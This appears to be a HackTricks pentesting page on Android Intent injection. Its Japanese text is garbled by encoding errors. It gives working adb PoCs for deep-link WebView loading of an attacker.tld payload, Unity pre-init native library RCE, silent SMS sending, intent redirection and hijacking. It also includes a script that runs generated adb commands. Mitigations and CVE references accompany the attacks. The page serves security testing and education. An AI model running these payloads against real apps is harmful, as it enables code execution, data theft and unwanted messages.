Intent Injection
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
Intent injection ã¯ãæ»æè ãå¶åŸ¡ãã Intents ãåŸã§ Intents ã«å€æãããããŒã¿ãåãåãã³ã³ããŒãã³ããæªçšããŸããAndroid ã¢ã㪠pentests ã§éåžžã«ããèŠããããã¿ãŒã³ã¯äž»ã«æ¬¡ã®2ã€ã§ã:
- ãšã¯ã¹ããŒãããã Activities/Services/BroadcastReceivers ã«çް工ãã extras ãæž¡ãããããåŸã§ç¹æš©ãæã€éãšã¯ã¹ããŒãã³ã³ããŒãã³ããžè»¢éãããã±ãŒã¹ã
- ãšã¯ã¹ããŒãããã VIEW/BROWSABLE deep links ãããªã¬ãŒããæ»æè å¶åŸ¡ã® URLs ãå éš WebViews ããã®ä»ã®æ©å¯æ§ã®é«ãã·ã³ã¯ã«è»¢éããã±ãŒã¹ã
Deep links â WebView sink (URL parameter injection)
ã¢ããªã次ã®ãããªã«ã¹ã¿ã ã¹ããŒã ã® deep link ãå ¬éããŠããå Žå:
myscheme://com.example.app/web?url=<attacker_url>
åä¿¡åŽã® Activity ã url ã¯ãšãªãã©ã¡ãŒã¿ã WebView ã«æž¡ãå Žåãã¢ããªã«ä»»æã®ãªã¢ãŒãã³ã³ãã³ããèªèº«ã® WebView ã³ã³ããã¹ãã§ã¬ã³ããªã³ã°ãããããšãã§ããŸãã
PoC via adb:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact
- HTML/JS executes inside the appâs WebView profile.
- If JavaScript is enabled (by default or due to misordered checks), you can enumerate/use any exposed
@JavascriptInterfaceobjects, steal WebView cookies/local storage, and pivot.
See also:
Order-of-checks bug enabling JavaScript
ç¹°ãè¿ãèŠããããã°ã¯ãæçµç㪠URL allowlist/verification ãå®äºããåã« JavaScriptïŒãŸãã¯ä»ã®ç·©ã WebView èšå®ïŒãæå¹ã«ããŠããŸãããšã§ããåæã®ãã«ããŒãããªãã® deep link ãåãå ¥ããå ã« WebView ãèšå®ããããšãåŸã®ãã§ãã¯ãäžå®å šãŸãã¯é ãããŠããæçµããŒãã¯æ¢ã« JavaScript ãæå¹ãªç¶æ ã§è¡ãããŸãã
What to look for in decompiled code:
- URL ãç°ãªãæ¹æ³ã§è§£æ/åå²/åæ§ç¯ããè€æ°ã®ãã«ããŒïŒæ£èŠåãäžè²«ããŠããªãïŒã
- Calls to
getSettings().setJavaScriptEnabled(true)before the last host/path allowlist check. - ãã€ãã©ã€ã³äŸ: è§£æ â éšåæ€èšŒ â WebView èšå® â æçµæ€èšŒ â loadUrlã
Unity Runtime: Intent-to-CLI extras â pre-init native library injection (RCE)
Unity-based Android apps typically use com.unity3d.player.UnityPlayerActivity (or UnityPlayerGameActivity) as the entry Activity. Unityâs Android template treats a special Intent extra named unity as a string of command-line flags for the Unity runtime. When the entry Activity is exported (default in many templates), any local app â and sometimes a website if BROWSABLE is present â can supply this extra.
A dangerous, undocumented flag leads to native code execution during very early process initialization:
- Hidden flag:
-xrsdk-pre-init-library <absolute-path> - Effect:
dlopen(<absolute-path>, RTLD_NOW)very early in init, loading attacker-controlled ELF inside the target appâs process with its UID and permissions.
Reverse-engineering excerpt (simplified):
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW
åäœããçç±
- Intent ã® extra
unity㯠Unity ã©ã³ã¿ã€ã ã®ãã©ã°ãšããŠè§£æãããã - pre-init ãã©ã°ãäžãããšãUnity ã¯èš±å¯ããã linker namespace ãã¹å ã®æ»æè å¶åŸ¡äžã® ELF ãã¹ãæãïŒå¶çŽã¯äžåç §ïŒã
æªçšã®æ¡ä»¶
- Unity ã®ãšã³ã㪠Activity ã exported ã«ãªã£ãŠããïŒéåžžããã©ã«ãã§ trueïŒã
- ãã©ãŠã¶çµç±ã®ã¯ã³ã¯ãªãã¯ãªã¢ãŒãã®å Žå: ãšã³ã㪠Activity ã
android.intent.category.BROWSABLEã宣èšããŠãããintent:URL ãã extras ãæž¡ããã
ããŒã«ã«ã§ã®æªçšïŒåããã€ã¹ïŒ
- ãã€ããŒã ELF ã被害è
ã¢ããªãèªã¿åãããã¹ã«é
眮ãããæãç°¡åãªã®ã¯ãèªåã®æ»æè
ã¢ããªã«æªæã®ããã©ã€ãã©ãªã忢±ããæ»æè
ã® manifest ã«æ¬¡ãèšå®ããŠ
/data/app/.../lib/<abi>/äžã«å±éãããããã«ããããš:
<application android:extractNativeLibs="true" ...>
- 被害è
ã® Unity ã¢ã¯ãã£ããã£ãã
unityextra ã® CLI pre-init ãã©ã°ã§èµ·åãããäŸ: ADB PoC:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
- Unity calls
dlopen("/data/.../libpayload.so", RTLD_NOW); your payload runs in the victim process, inheriting all its app permissions (camera/mic/network/storage, etc.) and access to in-app sessions/data.
泚æ
- æ£ç¢ºãª
/data/app/...ãã¹ã¯ããã€ã¹ãã€ã³ã¹ããŒã«ããšã«ç°ãªããŸããAn attacker app ã¯å®è¡æã«èªèº«ã® native lib dir ãgetApplicationInfo().nativeLibraryDirã§ååŸãããããããªã¬ãŒã«äŒããããšãã§ããŸãã - ãã¡ã€ã«ã¯æå¹ãª ELF ã§ããã°
.soã§çµããå¿ èŠã¯ãããŸãã âdlopen()㯠ELF ããããèŠãŠãããæ¡åŒµåã¯åé¡ã«ããŸããã
Remote oneâclick via browser (conditional)
ãã Unity ã® entry activity ã BROWSABLE ã§ exported ãããŠããå ŽåããŠã§ããµã€ã㯠intent: URL ãä»ã㊠extras ãæž¡ãããšãã§ããŸãïŒ
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;
ããããçŸä»£ã®Androidã§ã¯åçãªã³ã«ã®åå空éãšSELinuxãå€ãã®å
¬éãã¹ïŒäŸ: /sdcard/DownloadïŒããã®ããŒãããããã¯ããŸãã以äžã®ãããªãšã©ãŒã衚瀺ãããŸã:
library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]
ãã€ãã¹æŠç¥: æ»æè
ãå¶åŸ¡ãããã€ããã¢ããªã®ãã©ã€ããŒãã¹ãã¬ãŒãžå
ã«ãã£ãã·ã¥ããã¢ããªïŒäŸ: HTTP cachesïŒãçããèš±å¯ããããã¹ã« /data ãã¢ããªã®ãã©ã€ããŒããã£ã¬ã¯ããªãå«ãŸããããã-xrsdk-pre-init-library ãã¢ããªã®ãã£ãã·ã¥å
ã®çµ¶å¯Ÿãã¹ã«æå®ãããšãªã³ã«ã®å¶çŽãæºãããã³ãŒãå®è¡ãåŸãããå¯èœæ§ããããããã¯ä»ã® Android ã¢ããªã§èŠããã cache-to-ELF RCE ãã¿ãŒã³ãšé¡äŒŒããŠããã
ConfusedâDeputy: ACTION_SENDTO ãçšãããµã€ã¬ã³ã㪠SMS/MMS (Wear OS Google Messages)
äžéšã®ããã©ã«ãã¡ãã»ãŒãžã³ã°ã¢ããªã¯æé»ã®ã¡ãã»ãŒãžã³ã°ã€ã³ãã³ãã誀ã£ãŠèªåå®è¡ããããã confusedâdeputy ã®åå§çææ®µã«ããŠããŸãïŒæš©éãæããªãä»»æã®ã¢ããªã Intent.ACTION_SENDTO ã sms:, smsto:, mms:, ãŸã㯠mmsto: ãšå
±ã«çºè¡ãããšãç¢ºèª UI ã SEND_SMS æš©éãªãã§å³æéä¿¡ãåŒãèµ·ãããã
èŠç¹
- ããªã¬ãŒ: æé»ã®
ACTION_SENDTO+ ã¡ãã»ãŒãžçš URI ã¹ããŒã ã - ããŒã¿: åä¿¡è
㯠URI ã«èšå®ããã¡ãã»ãŒãžæ¬æã¯
"sms_body"extra ã«å ¥ããã - æš©é: äžèŠïŒ
SEND_SMSã¯äžèŠïŒãããã©ã«ãã® SMS/MMS ãã³ãã©ã«äŸåããã - 芳枬äŸ: Google Messages for Wear OSïŒ2025幎5æã«ä¿®æ£ïŒãä»ã®ãã³ãã©ãåæ§ã«è©äŸ¡ããå¿ èŠãããã
æå°ãã€ããŒã (Kotlin)
val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)
ADB PoC (ç¹å¥ãªæš©éäžèŠ)
# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890" --es sms_body "hello"
# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890" --es sms_body "hello"
æ»æå¯Ÿè±¡é åã®æ¡å€§ (Wear OS)
- ã¢ã¯ãã£ããã£ãèµ·åå¯èœãªä»»æã®ã³ã³ããŒãã³ãã¯åããã€ããŒããçºç«ã§ãã: Activitiesãforeground ServicesïŒ
FLAG_ACTIVITY_NEW_TASKã䜿çšïŒãTilesãComplicationsã - ããã©ã«ããã³ãã©ãèªåéä¿¡ããå ŽåãOEMããªã·ãŒã«ãã£ãŠã¯æªçšãã¯ã³ã¿ããã§å®äºããããããã¯ã°ã©ãŠã³ãããå®å šã«ãµã€ã¬ã³ãã§è¡ãããå¯èœæ§ãããã
Pentest ãã§ãã¯ãªã¹ã
- 察象ã§
ACTION_SENDTOã解決ããŠããã©ã«ããã³ãã©ãç¹å®ããïŒäœæçšUIã衚瀺ããããµã€ã¬ã³ãã«éä¿¡ãããã確èªããã - 4ã€ã®ã¹ããŒã ïŒ
sms:,smsto:,mms:,mmsto:ïŒãš extrasïŒsms_bodyãMMSã®å Žåã¯ä»»æã§subjectïŒã詊ããŠæåã®éãã確èªããã - 宿©ã§ãã¹ãããéã¯ãææã®å®å ïŒãã¬ãã¢ã ã¬ãŒãçªå·ãèæ ®ããã
Other classic Intent injection primitives
- startActivity/sendBroadcast ãæ»æè
ãäŸçµŠãã
Intentextras ã§åŒã³åºããåŸã§åè§£æïŒIntent.parseUri(...)ïŒãããŠå®è¡ããããã¿ãŒã³ã - èš±å¯ãã§ãã¯ãªãã« Intents ãé-exported ãªæ©å¯ã³ã³ããŒãã³ããžè»¢éãã exported proxy ã³ã³ããŒãã³ãã
Automating exported-component testing (Smali-driven ADB generation)
exported ã³ã³ããŒãã³ããç¹å®ã® extras ãæåŸ ããå Žåããã€ããŒãã®åœ¢ç¶ãæšæž¬ãããšæéã®ç¡é§ã false negatives ãæããSmali ããããŒïŒåãçŽæ¥çºèŠããŠãå®è¡å¯èœãª adb ã³ãã³ããçæããããšã§èªååã§ããã
Tool: APK Components Inspector
- Repo: https://github.com/thecybersandeep/apk-components-inspector
- Approach: decompile ã㊠Smali ãã¹ãã£ã³ãã
getStringExtra("key")ãgetIntExtra("id", ...)ãgetParcelableExtra("redirect_intent")ãgetSerializableExtra(...)ãgetBooleanExtra(...)ãgetAction()ãgetData()ã®ãããªåŒã³åºããããåã³ã³ããŒãã³ããæ¶è²»ãã extras ããã£ãŒã«ããæšæž¬ããã - Output: ãã¹ãŠã® exported Activity/Service/Receiver/Provider ããšã«ãããŒã«ã¯çã説æãšæ£ããåã®ãã©ã°ä»ãã§å®è¡ã§ããæ£ç¢ºãª
adb shell am .../cmd content ...ã³ãã³ããåºåããã
ã€ã³ã¹ããŒã«
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich
äœ¿çšæ³
python apk-components-inspector.py target.apk
Intent Injection
Intent Injectionã¯ãå€éšããéãããIntentãé©åã«æ€èšŒããã«åŠçããAndroidã¢ããªã§çºçããè匱æ§ã§ããæªæã®ããIntentã«ãããã¢ããªã®äºæããªãActivity/Service/BroadcastReceiverãèµ·åãããããææãªããŒã¿ãæ©èœãæªçšãããå¯èœæ§ããããŸããIntentãIntent extrasãURIãsetComponent/setPackageãflagsãªã©ã®äžé©åãªåãæ±ããåå ã«ãªããŸãã
äœãæ¢ãã
- exported=âtrueâ ã® Activity/Service/BroadcastReceiverïŒæç€ºçã«exportedãããŠããããŸã㯠intent-filter ãååšãããã®ïŒ
- å€éšããåãåã£ã Intent ãæ€èšŒããã«ãã®ãŸãŸåŠçããŠããã³ãŒãïŒextrasã®ä¿¡é ŒãURIã®ä¿¡é Œãaction/categorieã®æªãã§ãã¯ïŒ
- startActivity/startService/sendBroadcast ã«ããå€éšIntentã®çŽæ¥å©çš
- setComponent/setPackage ã䜿ã£ãŠéä¿¡å ãå¶éããŠããªãç®æ
- deep link ãåŠçããŠããç®æã§ã®äžååãªæ€èšŒ
äŸ: Manifest
<activity android:name=".ShareActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="example" android:host="open"/>
</intent-filter>
</activity>
äžèšã®ãã㪠deep link ãåãä»ããActivityã¯ãå€éšããç°¡åã«Intentãéãããå¯èœæ§ããããŸãã
äŸ: è匱ãªã³ãŒã
// VulnerableActivity.java
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
String action = intent.getStringExtra("action");
if (action != null) {
// å€éšããã® action ããã®ãŸãŸå®è¡
performAction(action);
}
}
ãã®ã³ãŒãã¯å€éšããæž¡ããã extras ãæ€èšŒããã«å®è¡ããŠãããä»»æã®æäœãããªã¬ãŒãããå¯èœæ§ããããŸãã
æ»æäŸïŒæ€èšŒæé ïŒ
- adb ãŸãã¯ãã©ãŠã¶ãã Intent ãéä¿¡ããŠæåã確èªãã:
- am ã³ãã³ãäŸ: am start -a android.intent.action.VIEW -d âexample://open/pathâ com.example.app/.ShareActivity
- extras ãä»ããŠä»»æã®ããŒã¿ãéã:
- am start âes âactionâ âmalicious_actionâ -n com.example.app/.VulnerableActivity
- payload ã«ããå éšåŠçãå€éšéä¿¡ã®ããªã¬ãŒããŸãã¯å¥ã³ã³ããŒãã³ãã®èµ·åã詊ãã
泚æ: å®è¡ã¯åžžã«æ³çã«èš±å¯ãããç¯å²ã®ã¿ã§è¡ãããšã
ç·©åç
- exported 屿§ãå¿ èŠãªãã®ã ãã«éå®ãããäžèŠãªå Žå㯠android:exported=âfalseâ ãèšå®ããã
- Intent ãåãåã£ãããactionãdata (URI)ãcategoriesãextras ãå³å¯ã«æ€èšŒããã
- å€éšããã® deep link ã¯ãã¯ã€ããªã¹ãåããïŒæåŸ ãã scheme/host/path ãæ€èšŒïŒã
- å¯èœãªå Žåã¯åä¿¡åŽã§æš©éãã§ãã¯ãè¡ãïŒandroid:permission ã§ä¿è·ããŸãã¯ã³ãŒãå ã§ Context.checkCallingPermission ãå©çšïŒã
- setPackage/setComponent ã䜿ã£ãŠéä¿¡å ãå¶éããïŒéä¿¡åŽã§ïŒã
- getCallingPackage ã Binder.getCallingUid() ã䜿ã£ãŠåŒã³åºãå ãæ€èšŒã§ããå Žåã¯å©çšããã
- äžå¿ èŠã« sensitive ãªæäœã Intent extras ã«äŸåãããªããextras ã®å 容ã¯ä¿¡é Œããªãã
- Intent flagsïŒäŸ: FLAG_ACTIVITY_NEW_TASKïŒã PendingIntent ã®åãæ±ãã«ã泚æããïŒç¹ã« PendingIntent 㯠hijack ã®ãªã¹ã¯ãããïŒã
ãã¹ãçšãã§ãã¯ãªã¹ã
- exported ã³ã³ããŒãã³ãã®ãªã¹ãã¢ãã
- åã³ã³ããŒãã³ãã«å¯ŸããŠæå³çã«äžæ£ãªIntentãéã£ãŠæåã芳å¯
- extras ã«æªæã®ããå€ãå ¥ããŠå¯äœçšã確èª
- deep link åŠçã§äºæããªããã¡ã€ã«ãããŒã¿ã¢ã¯ã»ã¹ãèµ·ããªãã確èª
äžèšãèžãŸããIntent ãæ±ãå šãŠã®ç®æã§å ¥åã®æ€èšŒãšæå°æš©éã®ååã培åºããŠãã ããã
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items
ADB am extras ããŒãã·ãŒãïŒåæå®ãã©ã°ïŒ
- æåå:
--es key value| æååé å:--esa key v1,v2 - æŽæ°:
--ei key 123| æŽæ°é å:--eia key 1,2,3 - ããŒã«:
--ez key true|false - Long:
--el key 1234567890 - æµ®åå°æ°ç¹:
--ef key 1.23 - URIïŒextraïŒ:
--eu key content://...| Data URI (Intent data):-d content://... - Component extra:
--ecn key com.pkg/.Cls - Null string extra:
--esn key - å
±éãã©ã°:
-a <ACTION>-c <CATEGORY>-t <MIME>-f <FLAGS>--activity-clear-task --activity-new-task
Pro tips for Providers
- ãšãŒãžã§ã³ããªãã§ ContentProviders ã«ã¢ã¯ã»ã¹ããã«ã¯
adb shell cmd content query|insert|update|delete ...ã䜿çšããã - SQLi probing ã§ã¯ãåºç€ãšãªã provider ã SQLite ããã¯ãšã³ãã®å Žåã
--projectionãš--whereïŒå¥å selectionïŒãå€ããŠè©Šãã
Full-pipeline automation (interactive executor)
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
adb ã³ãã³ããè§£æããŠå®è¡ãããã«ããŒã¹ã¯ãªãã
```python import subprocessdef parse_adb_commands(file_path): with open(file_path, ârâ) as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith(âadb â): current = [s] elif s.startswith(â#â) or not s: if current: full = â â.join(current).replace(â \ â, â â).replace(â\â, ââ).strip() commands.append(full) current = [] elif current: current.append(s) if current: full = â â.join(current).replace(â \ â, â â).replace(â\â, ââ).strip() commands.append(full) return commands
for i, cmd in enumerate(parse_adb_commands(âadbcommands.txtâ), 1): print(fâ\nCommand {i}: {cmd}â) input(âPress Enter to execute this commandâŠâ) try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print(âOutput:\nâ, r.stdout) if r.stderr: print(âErrors:\nâ, r.stderr) except subprocess.CalledProcessError as e: print(fâCommand failed with error:\n{e.stderr}â)
</details>
ããã€ã¹äžã§å®è¡: ã€ã³ã¹ãã¯ã¿ã¯PythonããŒã¹ã§ãTermuxãrootåããã端æ«äžã§ã`apktool`/`androguard`ãå©çšå¯èœãªç°å¢ã§åäœããŸãã
---
## Intent Redirection (CWE-926) â æ€åºãšæªçš
Pattern
- ãšã¯ã¹ããŒãããããšã³ããªãã€ã³ã (Activity/Service/Receiver) ãåä¿¡ãã Intent ãèªã¿åããéä¿¡å
ãããŒã¿ãæ€èšŒããã«å
éšãŸãã¯å€éšãžè»¢éãããäŸ:
- `startActivity(getIntent())`
- `startActivity(intent)` ïŒ`intent` ã `redirect_intent`/`next_intent`/`pending_intent` ã®ãã㪠extra ããæ¥ãŠããããŸã㯠`Intent.parseUri(...)` ããçæãããŠããå ŽåïŒ
- `action`/`data`/`component` ãã£ãŒã«ããæ€èšŒããã«ä¿¡é ŒããŠããïŒåŒã³åºãå
ã®èå¥ãæ€èšŒããŠããªãã
What to search in Smali/Java
- `getParcelableExtra("redirect_intent")`ã`getParcelable("intent")`ã`getIntent().getParcelableExtra(...)` ã®äœ¿çšã
- æ»æè
ã«åœ±é¿ããã Intents ã«å¯ŸããçŽæ¥ã® `startActivity(...)`ã`startService(...)`ã`sendBroadcast(...)`ã
- `getCallingPackage()`/`getCallingActivity()` ãã§ãã¯ãã«ã¹ã¿ã ããŒããã·ã§ã³ã²ãŒãã®æ¬ åŠã
ADB PoC templates
- 远å ã® Intent ãç¹æš©ã®ããå
éš Activity ã«è»¢éãã Proxy Activity:
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
redirect_intentparcelable ãåŠçãããšã¯ã¹ããŒãããã Service:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
- Exported ReceiverïŒæ€èšŒãè¡ããäžç¶ããïŒ:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'
singleTaskã¹ã¿ã€ã«ã®åäœã«åœ¹ç«ã€ãã©ã°
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task
å®éã®äºäŸïŒåœ±é¿ã¯æ§ã ïŒ:
- CVE-2024-26131 (Element Android): exported ãããŒã«ãã WebView ã®æäœãPIN ã®ãã€ãã¹ããã°ã€ã³ã®ä¹ã£åããçºçã
- CVE-2023-44121 (LG ThinQ Service): exported receiver action
com.lge.lms.things.notification.ACTIONâ ã·ã¹ãã ã¬ãã«ã®åœ±é¿ã - CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection â ä»»æãã¡ã€ã«ã¢ã¯ã»ã¹ïŒãŠãŒã¶ãŒæäœããïŒã
- CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents ãã³ã³ãã³ãã leak ããã
- CVE-2021-4438 (React Native SMS User Consent).
- CVE-2020-14116 (Xiaomi Mi Browser).
Intent Hijacking (implicit intents)
è åšã¢ãã«
- App A 㯠App B ãã implicit Intent ã䜿ã£ãŠæ©å¯ãªçµæãåãåãããšãæåŸ ããŠããïŒäŸ: OAuth redirectãdocument picker ã®çµæãIMAGE_CAPTURE ã®è¿åŽããŸãã¯ã«ã¹ã¿ã callback actionïŒã
- Attacker App C ã¯åã
action/category/dataã«ããããã<intent-filter>ãæã€ exported component ãå ¬éãããB ã implicit Intent ã解決ãããšããresolver 㯠chooser ã衚瀺ããå ŽåãããããŠãŒã¶ãŒã C ãéžæããïŒãŸãã¯ããã©ã«ãã«èšå®ããïŒãšãpayload 㯠A ã®ä»£ããã«æ»æè ã®ã³ã³ããŒãã³ãã«é ä¿¡ãããã
Minimal PoC manifest (attacker):
<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>
ãã³ãã©ã®ã¹ã±ã«ãã³:
public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}
Notes
- äžèŽæ§ã®è©³çŽ°åºŠãéèŠã§ãïŒaction + categories + dataïŒãC ã®ãã£ã«ã¿ã B ã®éä¿¡ãã Intent ã«å¯ŸããŠå ·äœçã§ããã»ã©ãããã衚瀺ããããèªåéžæãããå¯èœæ§ãé«ããªããŸãã
- ããã¯ãã¢ããªãå¥ã®ã¢ããªã« URL ãåŠçããŠçµæãè¿ãããšãæåŸ
ããå Žåã® deep linksïŒ
VIEW+BROWSABLEïŒã«ãåœãŠã¯ãŸããŸãã
Pentest guidance
- éæç€ºç㪠Intent ã䜿ã£ãŠãã
startActivity/startActivityForResult/registerForActivityResultåŒã³åºãã察象ã¢ããªãã grep ããŸãã extrasãclipDataããŸãã¯getData()ã«ããŒã¯ã³ãå«ã Intent ã調æ»ãã第äžè ãäºææ§ã®ãããã£ã«ã¿ãç»é²ã§ããã確èªããŸãã- implicit ãããŒã explicit IntentïŒ
setPackage()/setComponent()ãèšå®ïŒã«çœ®ãæããããšããŸã㯠exported 㪠receiver/service ã«å¯Ÿã㊠caller-permission/眲åä»ã permissions ãèŠæ±ããããšãæšå¥šããŸãã
Mitigations
- ã³ãŒã«ããã¯ãããŒã¯ã³ãèªèšŒçµæãªã©ã®æ©å¯ãããŒã«ã¯ explicit Intent ãåªå ããŠãã ããã
- ã¯ãã¹ã¢ããªãå¿ èŠãªå Žåã¯ãåä¿¡ã³ã³ããŒãã³ãã« permission èŠä»¶ã远å ããåŒã³åºãå ã®èå¥ãæ€èšŒããŠãã ããã
- Intent filters ã¯å¿ èŠæå°éïŒscheme/host/path/MIME ã®ã¿ã«éå®ïŒãã€å³æ Œã«èšå®ããŠãã ããã
ã¬ãŸã«ãã®æ±ºå®ã芳å¯ãã (FLAG_DEBUG_LOG_RESOLUTION)
éä¿¡åŽãå¶åŸ¡ã§ããå Žåãimplicit Intent ã« Intent.FLAG_DEBUG_LOG_RESOLUTION ã远å ãããšãAndroid ãè§£æ±ºæ¹æ³ãšéžæãããã³ã³ããŒãã³ãããã°ã«èšé²ããŸãã
äŸ:
Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);
adb logcatã§è¡šç€ºãããã®ã¯è§£æ±ºã®ãã¬ãŒã¹ãšæçµã³ã³ããŒãã³ãïŒäŸ: com.android.camera2/com.android.camera.CaptureActivityïŒã§ãã
CLIã®ãã³ã
# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008
# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"
ããã¯ãããã€ã¹/ãšãã¥ã¬ãŒã¿äžã®åè£ãã³ãã©ãåæãããã¹ãäžã«ã©ã®ã³ã³ããŒãã³ããå®éã« Intent ãåãåãããæ£ç¢ºã«ç¢ºèªããã®ã«åœ¹ç«ã¡ãŸãã
åèæç®
- Android â Access to app-protected components
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 â Samsung S24 attack chain (whitepaper)
- Demonstration video
- Automating Android App Component Testing with New APK Inspector (blog)
- APK Components Inspector â GitHub
- Google guidance on intent redirection
- OVAA vulnerable app
- Exported Service PoC APK
- Ostorlab â 100M installs image app deep dive (component summary example)
- CVE-2024-26131 â NVD
- CVE-2023-44121 â CVE.org
- CVE-2023-30728 â CVE.org
- CVE-2022-36837 â CVE.org
- CVE-2021-4438 â NVD
- CVE-2020-14116 â NVD
- Android Intents (1/2): how they work, security, and attack examples â Mobeta
- Android Intent reference
- CVE-2025-59489 â Arbitrary Code Execution in Unity Runtime (blog)
- Unity docs â Android custom activity command-line
- Unity Security Sept-2025-01 advisory
- HEXACON talk â Messenger one-click cache-based RCE pattern (slides)
- CVE-2025-12080 â Intent Abuse in Google Messages for Wear OS
- PoC repo â io-no/CVE-2025-12080
- Android docs â Intents and Intent Filters
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


